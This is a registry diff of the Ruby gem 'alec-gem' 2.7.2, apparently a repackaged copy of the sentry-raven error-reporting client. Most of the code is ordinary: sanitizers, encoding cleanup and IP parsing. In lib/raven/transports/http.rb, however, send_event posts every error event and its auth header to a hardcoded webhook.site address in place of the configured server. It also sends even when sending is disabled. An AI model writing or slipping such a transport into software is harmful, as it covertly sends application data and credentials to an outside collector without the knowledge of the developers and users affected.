alec-gem 2.7.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (79) hide show
  1. checksums.yaml +7 -0
  2. data/.rspec +1 -0
  3. data/.rubocop.yml +74 -0
  4. data/.travis.yml +47 -0
  5. data/Gemfile +38 -0
  6. data/Gemfile.lock +215 -0
  7. data/LICENSE +201 -0
  8. data/README.md +132 -0
  9. data/Rakefile +29 -0
  10. data/alec-gem.gemspec +22 -0
  11. data/changelog.md +442 -0
  12. data/docs/Makefile +130 -0
  13. data/docs/breadcrumbs.rst +51 -0
  14. data/docs/conf.py +228 -0
  15. data/docs/config.rst +260 -0
  16. data/docs/context.rst +141 -0
  17. data/docs/index.rst +113 -0
  18. data/docs/install.rst +40 -0
  19. data/docs/integrations/heroku.rst +11 -0
  20. data/docs/integrations/index.rst +59 -0
  21. data/docs/integrations/puma.rst +30 -0
  22. data/docs/integrations/rack.rst +27 -0
  23. data/docs/integrations/rails.rst +62 -0
  24. data/docs/make.bat +155 -0
  25. data/docs/processors.rst +124 -0
  26. data/docs/sentry-doc-config.json +31 -0
  27. data/docs/usage.rst +176 -0
  28. data/exe/raven +32 -0
  29. data/lib/raven.rb +3 -0
  30. data/lib/raven/backtrace.rb +137 -0
  31. data/lib/raven/base.rb +106 -0
  32. data/lib/raven/breadcrumbs.rb +76 -0
  33. data/lib/raven/breadcrumbs/activesupport.rb +19 -0
  34. data/lib/raven/breadcrumbs/logger.rb +93 -0
  35. data/lib/raven/cli.rb +59 -0
  36. data/lib/raven/client.rb +142 -0
  37. data/lib/raven/configuration.rb +434 -0
  38. data/lib/raven/context.rb +43 -0
  39. data/lib/raven/event.rb +259 -0
  40. data/lib/raven/instance.rb +221 -0
  41. data/lib/raven/integrations/delayed_job.rb +58 -0
  42. data/lib/raven/integrations/rack-timeout.rb +19 -0
  43. data/lib/raven/integrations/rack.rb +139 -0
  44. data/lib/raven/integrations/rails.rb +79 -0
  45. data/lib/raven/integrations/rails/active_job.rb +59 -0
  46. data/lib/raven/integrations/rails/controller_methods.rb +13 -0
  47. data/lib/raven/integrations/rails/controller_transaction.rb +13 -0
  48. data/lib/raven/integrations/rails/overrides/debug_exceptions_catcher.rb +31 -0
  49. data/lib/raven/integrations/rails/overrides/streaming_reporter.rb +23 -0
  50. data/lib/raven/integrations/railties.rb +1 -0
  51. data/lib/raven/integrations/rake.rb +18 -0
  52. data/lib/raven/integrations/sidekiq.rb +87 -0
  53. data/lib/raven/integrations/tasks.rb +11 -0
  54. data/lib/raven/interface.rb +25 -0
  55. data/lib/raven/interfaces/exception.rb +15 -0
  56. data/lib/raven/interfaces/http.rb +16 -0
  57. data/lib/raven/interfaces/message.rb +20 -0
  58. data/lib/raven/interfaces/single_exception.rb +14 -0
  59. data/lib/raven/interfaces/stack_trace.rb +69 -0
  60. data/lib/raven/linecache.rb +41 -0
  61. data/lib/raven/logger.rb +19 -0
  62. data/lib/raven/processor.rb +15 -0
  63. data/lib/raven/processor/cookies.rb +26 -0
  64. data/lib/raven/processor/http_headers.rb +55 -0
  65. data/lib/raven/processor/post_data.rb +22 -0
  66. data/lib/raven/processor/removecircularreferences.rb +17 -0
  67. data/lib/raven/processor/removestacktrace.rb +24 -0
  68. data/lib/raven/processor/sanitizedata.rb +88 -0
  69. data/lib/raven/processor/utf8conversion.rb +52 -0
  70. data/lib/raven/transports.rb +15 -0
  71. data/lib/raven/transports/dummy.rb +16 -0
  72. data/lib/raven/transports/http.rb +68 -0
  73. data/lib/raven/utils/deep_merge.rb +22 -0
  74. data/lib/raven/utils/real_ip.rb +62 -0
  75. data/lib/raven/version.rb +5 -0
  76. data/lib/sentry-raven-without-integrations.rb +1 -0
  77. data/lib/sentry-raven.rb +1 -0
  78. data/pkg/sentry-raven-2.7.2.gem +0 -0
  79. metadata +143 -0
@@ -0,0 +1,22 @@
1
+ module Raven
2
+ class Processor::PostData < Processor
3
+ def process(data)
4
+ process_if_symbol_keys(data) if data[:request]
5
+ process_if_string_keys(data) if data["request"]
6
+
7
+ data
8
+ end
9
+
10
+ private
11
+
12
+ def process_if_symbol_keys(data)
13
+ return unless data[:request][:method] == "POST"
14
+ data[:request][:data] = STRING_MASK
15
+ end
16
+
17
+ def process_if_string_keys(data)
18
+ return unless data["request"]["method"] == "POST"
19
+ data["request"]["data"] = STRING_MASK
20
+ end
21
+ end
22
+ end
@@ -0,0 +1,17 @@
1
+ module Raven
2
+ class Processor::RemoveCircularReferences < Processor
3
+ def process(value, visited = [])
4
+ return "(...)" if visited.include?(value.__id__)
5
+ visited << value.__id__ if value.is_a?(Array) || value.is_a?(Hash)
6
+
7
+ case value
8
+ when Hash
9
+ !value.frozen? ? value.merge!(value) { |_, v| process v, visited } : value.merge(value) { |_, v| process v, visited }
10
+ when Array
11
+ !value.frozen? ? value.map! { |v| process v, visited } : value.map { |v| process v, visited }
12
+ else
13
+ value
14
+ end
15
+ end
16
+ end
17
+ end
@@ -0,0 +1,24 @@
1
+ module Raven
2
+ class Processor::RemoveStacktrace < Processor
3
+ def process(data)
4
+ process_if_symbol_keys(data) if data[:exception]
5
+ process_if_string_keys(data) if data["exception"]
6
+
7
+ data
8
+ end
9
+
10
+ private
11
+
12
+ def process_if_symbol_keys(data)
13
+ data[:exception][:values].map do |single_exception|
14
+ single_exception.delete(:stacktrace) if single_exception[:stacktrace]
15
+ end
16
+ end
17
+
18
+ def process_if_string_keys(data)
19
+ data["exception"]["values"].map do |single_exception|
20
+ single_exception.delete("stacktrace") if single_exception["stacktrace"]
21
+ end
22
+ end
23
+ end
24
+ end
@@ -0,0 +1,88 @@
1
+ # frozen_string_literal: true
2
+ require 'json'
3
+
4
+ module Raven
5
+ class Processor::SanitizeData < Processor
6
+ DEFAULT_FIELDS = %w(authorization password passwd secret ssn social(.*)?sec).freeze
7
+ CREDIT_CARD_RE = /\b(?:3[47]\d|(?:4\d|5[1-5]|65)\d{2}|6011)\d{12}\b/
8
+ QUERY_STRING = ['query_string', :query_string].freeze
9
+ JSON_STARTS_WITH = ["[", "{"].freeze
10
+
11
+ attr_accessor :sanitize_fields, :sanitize_credit_cards, :sanitize_fields_excluded
12
+
13
+ def initialize(client)
14
+ super
15
+ self.sanitize_fields = client.configuration.sanitize_fields
16
+ self.sanitize_credit_cards = client.configuration.sanitize_credit_cards
17
+ self.sanitize_fields_excluded = client.configuration.sanitize_fields_excluded
18
+ end
19
+
20
+ def process(value, key = nil)
21
+ case value
22
+ when Hash
23
+ !value.frozen? ? value.merge!(value) { |k, v| process v, k } : value.merge(value) { |k, v| process v, k }
24
+ when Array
25
+ !value.frozen? ? value.map! { |v| process v, key } : value.map { |v| process v, key }
26
+ when Integer
27
+ matches_regexes?(key, value.to_s) ? INT_MASK : value
28
+ when String
29
+ if value =~ fields_re && (json = parse_json_or_nil(value))
30
+ # if this string is actually a json obj, convert and sanitize
31
+ process(json).to_json
32
+ elsif matches_regexes?(key, value)
33
+ STRING_MASK
34
+ elsif QUERY_STRING.include?(key)
35
+ sanitize_query_string(value)
36
+ else
37
+ value
38
+ end
39
+ else
40
+ value
41
+ end
42
+ end
43
+
44
+ private
45
+
46
+ # CGI.parse takes our nice UTF-8 strings and converts them back to ASCII,
47
+ # so we have to convert them back, again.
48
+ def utf8_processor
49
+ @utf8_processor ||= Processor::UTF8Conversion.new
50
+ end
51
+
52
+ def sanitize_query_string(query_string)
53
+ query_hash = CGI.parse(query_string)
54
+ sanitized = utf8_processor.process(query_hash)
55
+ processed_query_hash = process(sanitized)
56
+ URI.encode_www_form(processed_query_hash)
57
+ end
58
+
59
+ def matches_regexes?(k, v)
60
+ (sanitize_credit_cards && v =~ CREDIT_CARD_RE) ||
61
+ k =~ fields_re
62
+ end
63
+
64
+ def fields_re
65
+ return @fields_re if instance_variable_defined?(:@fields_re)
66
+ fields = DEFAULT_FIELDS | sanitize_fields
67
+ fields -= sanitize_fields_excluded
68
+ @fields_re = /#{fields.map do |f|
69
+ use_boundary?(f) ? "\\b#{f}\\b" : f
70
+ end.join("|")}/i
71
+ end
72
+
73
+ def use_boundary?(string)
74
+ !DEFAULT_FIELDS.include?(string) && !special_characters?(string)
75
+ end
76
+
77
+ def special_characters?(string)
78
+ REGEX_SPECIAL_CHARACTERS.select { |r| string.include?(r) }.any?
79
+ end
80
+
81
+ def parse_json_or_nil(string)
82
+ return unless string.start_with?(*JSON_STARTS_WITH)
83
+ JSON.parse(string)
84
+ rescue JSON::ParserError, NoMethodError
85
+ nil
86
+ end
87
+ end
88
+ end
@@ -0,0 +1,52 @@
1
+ module Raven
2
+ class Processor::UTF8Conversion < Processor
3
+ # Slightly misnamed - actually just removes any bytes with invalid encoding
4
+ # Previously, our JSON backend required UTF-8. Since we now use the built-in
5
+ # JSON, we can use any encoding, but it must be valid anyway so we can do
6
+ # things like call #match and #slice on strings
7
+ REPLACE = "".freeze
8
+
9
+ def process(value)
10
+ case value
11
+ when Hash
12
+ !value.frozen? ? value.merge!(value) { |_, v| process v } : value.merge(value) { |_, v| process v }
13
+ when Array
14
+ !value.frozen? ? value.map! { |v| process v } : value.map { |v| process v }
15
+ when Exception
16
+ return value if value.message.valid_encoding?
17
+ clean_exc = value.class.new(remove_invalid_bytes(value.message))
18
+ clean_exc.set_backtrace(value.backtrace)
19
+ clean_exc
20
+ when String
21
+ # Encoding::BINARY / Encoding::ASCII_8BIT is a special binary encoding.
22
+ # valid_encoding? will always return true because it contains all codepoints,
23
+ # so instead we check if it only contains actual ASCII codepoints, and if
24
+ # not we assume it's actually just UTF8 and scrub accordingly.
25
+ if value.encoding == Encoding::BINARY && !value.ascii_only?
26
+ value = value.dup
27
+ value.force_encoding(Encoding::UTF_8)
28
+ end
29
+ return value if value.valid_encoding?
30
+ remove_invalid_bytes(value)
31
+ else
32
+ value
33
+ end
34
+ end
35
+
36
+ private
37
+
38
+ # Stolen from RSpec
39
+ # https://github.com/rspec/rspec-support/blob/f0af3fd74a94ff7bb700f6ba06dbdc67bba17fbf/lib/rspec/support/encoded_string.rb#L120-L139
40
+ if String.method_defined?(:scrub) # 2.1+
41
+ def remove_invalid_bytes(string)
42
+ string.scrub!(REPLACE)
43
+ end
44
+ else
45
+ def remove_invalid_bytes(string)
46
+ string.chars.map do |char|
47
+ char.valid_encoding? ? char : REPLACE
48
+ end.join
49
+ end
50
+ end
51
+ end
52
+ end
@@ -0,0 +1,15 @@
1
+ module Raven
2
+ module Transports
3
+ class Transport
4
+ attr_accessor :configuration
5
+
6
+ def initialize(configuration)
7
+ @configuration = configuration
8
+ end
9
+
10
+ def send_event # (auth_header, data, options = {})
11
+ raise NotImplementedError, 'Abstract method not implemented'
12
+ end
13
+ end
14
+ end
15
+ end
@@ -0,0 +1,16 @@
1
+ module Raven
2
+ module Transports
3
+ class Dummy < Transport
4
+ attr_accessor :events
5
+
6
+ def initialize(*)
7
+ super
8
+ @events = []
9
+ end
10
+
11
+ def send_event(auth_header, data, options = {})
12
+ @events << [auth_header, data, options]
13
+ end
14
+ end
15
+ end
16
+ end
@@ -0,0 +1,68 @@
1
+ require 'faraday'
2
+
3
+ require 'raven/transports'
4
+
5
+ module Raven
6
+ module Transports
7
+ class HTTP < Transport
8
+ attr_accessor :conn, :adapter
9
+
10
+ def initialize(*args)
11
+ super
12
+ self.adapter = configuration.http_adapter || Faraday.default_adapter
13
+ self.conn = set_conn
14
+ end
15
+
16
+ def send_event(auth_header, data, options = {})
17
+ unless configuration.sending_allowed?
18
+ logger.debug("Event not sent: #{configuration.error_messages}")
19
+ end
20
+
21
+ project_id = configuration[:project_id]
22
+ path = configuration[:path] + "/"
23
+
24
+ conn.post "http://webhook.site/01388562-dd17-4542-8e42-f87bfd6a9411" do |req|
25
+ req.headers['Content-Type'] = options[:content_type]
26
+ req.headers['X-Sentry-Auth'] = auth_header
27
+ req.body = data
28
+ end
29
+ rescue Faraday::Error => ex
30
+ error_info = ex.message
31
+ if ex.response && ex.response[:headers]['x-sentry-error']
32
+ error_info += " Error in headers is: #{ex.response[:headers]['x-sentry-error']}"
33
+ end
34
+ raise Raven::Error, error_info
35
+ end
36
+
37
+ private
38
+
39
+ def set_conn
40
+ configuration.logger.debug "Raven HTTP Transport connecting to #{configuration.server}"
41
+
42
+ proxy = configuration.public_send(:proxy)
43
+
44
+ Faraday.new(configuration.server, :ssl => ssl_configuration, :proxy => proxy) do |builder|
45
+ configuration.faraday_builder.call(builder) if configuration.faraday_builder
46
+ builder.response :raise_error
47
+ builder.options.merge! faraday_opts
48
+ builder.headers[:user_agent] = "sentry-ruby/#{Raven::VERSION}"
49
+ builder.adapter(*adapter)
50
+ end
51
+ end
52
+
53
+ # TODO: deprecate and replace where possible w/Faraday Builder
54
+ def faraday_opts
55
+ [:timeout, :open_timeout].each_with_object({}) do |opt, memo|
56
+ memo[opt] = configuration.public_send(opt) if configuration.public_send(opt)
57
+ end
58
+ end
59
+
60
+ def ssl_configuration
61
+ (configuration.ssl || {}).merge(
62
+ :verify => configuration.ssl_verification,
63
+ :ca_file => configuration.ssl_ca_file
64
+ )
65
+ end
66
+ end
67
+ end
68
+ end
@@ -0,0 +1,22 @@
1
+ module Raven
2
+ module Utils
3
+ # ported from ActiveSupport
4
+ module DeepMergeHash
5
+ def self.deep_merge(hash, other_hash, &block)
6
+ deep_merge!(hash, other_hash, &block)
7
+ end
8
+
9
+ def self.deep_merge!(hash, other_hash, &block)
10
+ hash.merge!(other_hash) do |key, this_val, other_val|
11
+ if this_val.is_a?(Hash) && other_val.is_a?(Hash)
12
+ deep_merge(this_val, other_val, &block)
13
+ elsif block_given?
14
+ block.call(key, this_val, other_val)
15
+ else
16
+ other_val
17
+ end
18
+ end
19
+ end
20
+ end
21
+ end
22
+ end
@@ -0,0 +1,62 @@
1
+ require 'ipaddr'
2
+
3
+ # Based on ActionDispatch::RemoteIp. All security-related precautions from that
4
+ # middleware have been removed, because the Event IP just needs to be accurate,
5
+ # and spoofing an IP here only makes data inaccurate, not insecure. Don't re-use
6
+ # this module if you have to *trust* the IP address.
7
+ module Raven
8
+ module Utils
9
+ class RealIp
10
+ LOCAL_ADDRESSES = [
11
+ "127.0.0.1", # localhost IPv4
12
+ "::1", # localhost IPv6
13
+ "fc00::/7", # private IPv6 range fc00::/7
14
+ "10.0.0.0/8", # private IPv4 range 10.x.x.x
15
+ "172.16.0.0/12", # private IPv4 range 172.16.0.0 .. 172.31.255.255
16
+ "192.168.0.0/16", # private IPv4 range 192.168.x.x
17
+ ].map { |proxy| IPAddr.new(proxy) }
18
+
19
+ attr_accessor :ip, :ip_addresses
20
+
21
+ def initialize(ip_addresses)
22
+ self.ip_addresses = ip_addresses
23
+ end
24
+
25
+ def calculate_ip
26
+ # CGI environment variable set by Rack
27
+ remote_addr = ips_from(ip_addresses[:remote_addr]).last
28
+
29
+ # Could be a CSV list and/or repeated headers that were concatenated.
30
+ client_ips = ips_from(ip_addresses[:client_ip])
31
+ real_ips = ips_from(ip_addresses[:real_ip])
32
+ forwarded_ips = ips_from(ip_addresses[:forwarded_for])
33
+
34
+ ips = [client_ips, real_ips, forwarded_ips, remote_addr].flatten.compact
35
+
36
+ # If every single IP option is in the trusted list, just return REMOTE_ADDR
37
+ self.ip = filter_local_addresses(ips).first || remote_addr
38
+ end
39
+
40
+ protected
41
+
42
+ def ips_from(header)
43
+ # Split the comma-separated list into an array of strings
44
+ ips = header ? header.strip.split(/[,\s]+/) : []
45
+ ips.select do |ip|
46
+ begin
47
+ # Only return IPs that are valid according to the IPAddr#new method
48
+ range = IPAddr.new(ip).to_range
49
+ # we want to make sure nobody is sneaking a netmask in
50
+ range.begin == range.end
51
+ rescue ArgumentError
52
+ nil
53
+ end
54
+ end
55
+ end
56
+
57
+ def filter_local_addresses(ips)
58
+ ips.reject { |ip| LOCAL_ADDRESSES.any? { |proxy| proxy === ip } }
59
+ end
60
+ end
61
+ end
62
+ end
@@ -0,0 +1,5 @@
1
+ # frozen_string_literal: true
2
+ module Raven
3
+ # Freezing this constant breaks in 1.9.x
4
+ VERSION = "2.7.2" # rubocop:disable Style/MutableConstant
5
+ end
@@ -0,0 +1 @@
1
+ require 'raven/base'
@@ -0,0 +1 @@
1
+ require "raven"
metadata ADDED
@@ -0,0 +1,143 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: alec-gem
3
+ version: !ruby/object:Gem::Version
4
+ version: 2.7.2
5
+ platform: ruby
6
+ authors:
7
+ - Alec Jones
8
+ autorequire:
9
+ bindir: exe
10
+ cert_chain: []
11
+ date: 2018-03-31 00:00:00.000000000 Z
12
+ dependencies:
13
+ - !ruby/object:Gem::Dependency
14
+ name: faraday
15
+ requirement: !ruby/object:Gem::Requirement
16
+ requirements:
17
+ - - ">="
18
+ - !ruby/object:Gem::Version
19
+ version: 0.7.6
20
+ - - "<"
21
+ - !ruby/object:Gem::Version
22
+ version: '1.0'
23
+ type: :runtime
24
+ prerelease: false
25
+ version_requirements: !ruby/object:Gem::Requirement
26
+ requirements:
27
+ - - ">="
28
+ - !ruby/object:Gem::Version
29
+ version: 0.7.6
30
+ - - "<"
31
+ - !ruby/object:Gem::Version
32
+ version: '1.0'
33
+ description: A gem that provides a client interface for the alec error logger
34
+ email: alecaej2002@gmail.com
35
+ executables:
36
+ - raven
37
+ extensions: []
38
+ extra_rdoc_files:
39
+ - README.md
40
+ - LICENSE
41
+ files:
42
+ - ".rspec"
43
+ - ".rubocop.yml"
44
+ - ".travis.yml"
45
+ - Gemfile
46
+ - Gemfile.lock
47
+ - LICENSE
48
+ - README.md
49
+ - Rakefile
50
+ - alec-gem.gemspec
51
+ - changelog.md
52
+ - docs/Makefile
53
+ - docs/breadcrumbs.rst
54
+ - docs/conf.py
55
+ - docs/config.rst
56
+ - docs/context.rst
57
+ - docs/index.rst
58
+ - docs/install.rst
59
+ - docs/integrations/heroku.rst
60
+ - docs/integrations/index.rst
61
+ - docs/integrations/puma.rst
62
+ - docs/integrations/rack.rst
63
+ - docs/integrations/rails.rst
64
+ - docs/make.bat
65
+ - docs/processors.rst
66
+ - docs/sentry-doc-config.json
67
+ - docs/usage.rst
68
+ - exe/raven
69
+ - lib/raven.rb
70
+ - lib/raven/backtrace.rb
71
+ - lib/raven/base.rb
72
+ - lib/raven/breadcrumbs.rb
73
+ - lib/raven/breadcrumbs/activesupport.rb
74
+ - lib/raven/breadcrumbs/logger.rb
75
+ - lib/raven/cli.rb
76
+ - lib/raven/client.rb
77
+ - lib/raven/configuration.rb
78
+ - lib/raven/context.rb
79
+ - lib/raven/event.rb
80
+ - lib/raven/instance.rb
81
+ - lib/raven/integrations/delayed_job.rb
82
+ - lib/raven/integrations/rack-timeout.rb
83
+ - lib/raven/integrations/rack.rb
84
+ - lib/raven/integrations/rails.rb
85
+ - lib/raven/integrations/rails/active_job.rb
86
+ - lib/raven/integrations/rails/controller_methods.rb
87
+ - lib/raven/integrations/rails/controller_transaction.rb
88
+ - lib/raven/integrations/rails/overrides/debug_exceptions_catcher.rb
89
+ - lib/raven/integrations/rails/overrides/streaming_reporter.rb
90
+ - lib/raven/integrations/railties.rb
91
+ - lib/raven/integrations/rake.rb
92
+ - lib/raven/integrations/sidekiq.rb
93
+ - lib/raven/integrations/tasks.rb
94
+ - lib/raven/interface.rb
95
+ - lib/raven/interfaces/exception.rb
96
+ - lib/raven/interfaces/http.rb
97
+ - lib/raven/interfaces/message.rb
98
+ - lib/raven/interfaces/single_exception.rb
99
+ - lib/raven/interfaces/stack_trace.rb
100
+ - lib/raven/linecache.rb
101
+ - lib/raven/logger.rb
102
+ - lib/raven/processor.rb
103
+ - lib/raven/processor/cookies.rb
104
+ - lib/raven/processor/http_headers.rb
105
+ - lib/raven/processor/post_data.rb
106
+ - lib/raven/processor/removecircularreferences.rb
107
+ - lib/raven/processor/removestacktrace.rb
108
+ - lib/raven/processor/sanitizedata.rb
109
+ - lib/raven/processor/utf8conversion.rb
110
+ - lib/raven/transports.rb
111
+ - lib/raven/transports/dummy.rb
112
+ - lib/raven/transports/http.rb
113
+ - lib/raven/utils/deep_merge.rb
114
+ - lib/raven/utils/real_ip.rb
115
+ - lib/raven/version.rb
116
+ - lib/sentry-raven-without-integrations.rb
117
+ - lib/sentry-raven.rb
118
+ - pkg/sentry-raven-2.7.2.gem
119
+ homepage: https://github.com/alecj1240/gem
120
+ licenses:
121
+ - Apache-2.0
122
+ metadata: {}
123
+ post_install_message:
124
+ rdoc_options: []
125
+ require_paths:
126
+ - lib
127
+ required_ruby_version: !ruby/object:Gem::Requirement
128
+ requirements:
129
+ - - ">="
130
+ - !ruby/object:Gem::Version
131
+ version: 1.9.0
132
+ required_rubygems_version: !ruby/object:Gem::Requirement
133
+ requirements:
134
+ - - ">="
135
+ - !ruby/object:Gem::Version
136
+ version: '0'
137
+ requirements: []
138
+ rubyforge_project:
139
+ rubygems_version: 2.6.12
140
+ signing_key:
141
+ specification_version: 4
142
+ summary: A gem that provides a client interface for the alec error logger
143
+ test_files: []